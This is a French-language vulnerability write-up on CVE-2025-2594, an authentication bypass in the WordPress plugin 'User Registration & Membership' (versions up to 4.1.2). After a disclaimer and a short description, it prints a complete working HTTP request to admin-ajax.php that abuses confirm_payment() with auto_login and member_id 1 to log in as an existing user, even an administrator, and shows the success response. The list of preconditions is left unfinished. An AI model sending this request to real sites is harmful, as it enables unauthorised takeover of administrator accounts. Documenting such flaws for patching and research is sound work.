
User Registration & Membership <= 4.1.2 - Contournement d'authentification
Les informations présentées dans ce rapport CVE (Common Vulnerabilities and Exposures) sont fournies à des fins éducatives et informatives uniquement. Les détails fournis sont basés sur des ressources publiquement disponibles, des recherches et des analyses menées par l'auteur. Le contenu n'a pas pour but de promouvoir ou d'encourager des activités illégales, y compris le piratage, l'exploitation ou l'accès non autorisé à des systèmes.
L'auteur n'assume aucune responsabilité en cas d'utilisation abusive des informations présentées. Il est recommandé aux individus et aux organisations d'appliquer ces connaissances de manière responsable et conformément aux lois et règlements applicables. Les lecteurs sont fortement invités à tester les vulnérabilités uniquement dans des environnements contrôlés et avec une autorisation appropriée.
L'auteur et les contributeurs de ce rapport n'approuvent ni ne soutiennent les activités malveillantes et encouragent la divulgation responsable et les pratiques de piratage éthique.
Une vulnérabilité de sécurité critique a été découverte dans le plugin WordPress « User Registration & Membership », un outil populaire pour créer des sites d'adhésion et des formulaires d'inscription. La faille, identifiée comme CVE-2025-2594, porte un score CVSS de 8,1, ce qui indique sa gravité élevée.
Le plugin User Registration & Membership pour WordPress est vulnérable à un contournement de l'authentification dans les versions jusqu'à la version 4.1.2 incluse. Cela est dû à une authentification incorrecte dans la fonction 'confirm_payment()'. Cela permet à des attaquants non authentifiés de se connecter à un compte utilisateur existant sur le site, même à un administrateur, à condition que :
POST /wp-admin/admin-ajax.php HTTP/1.1
User-Agent: PostmanRuntime/7.43.3
Accept: */*
Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
Host: hackthebox.test
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
Content-Length: 565
----------------------------705549092016875046023302
Content-Disposition: form-data; name="action"
user_registration_membership_confirm_payment
----------------------------705549092016875046023302
Content-Disposition: form-data; name="security"
CONFIRM_PAYMENT_NONCE
----------------------------705549092016875046023302
Content-Disposition: form-data; name="form_response"
{ "auto_login": true }
----------------------------705549092016875046023302
Content-Disposition: form-data; name="member_id"
1
----------------------------705549092016875046023302--
{"success":true,"data":{"message":null}}

- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
- https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
- https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
- https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php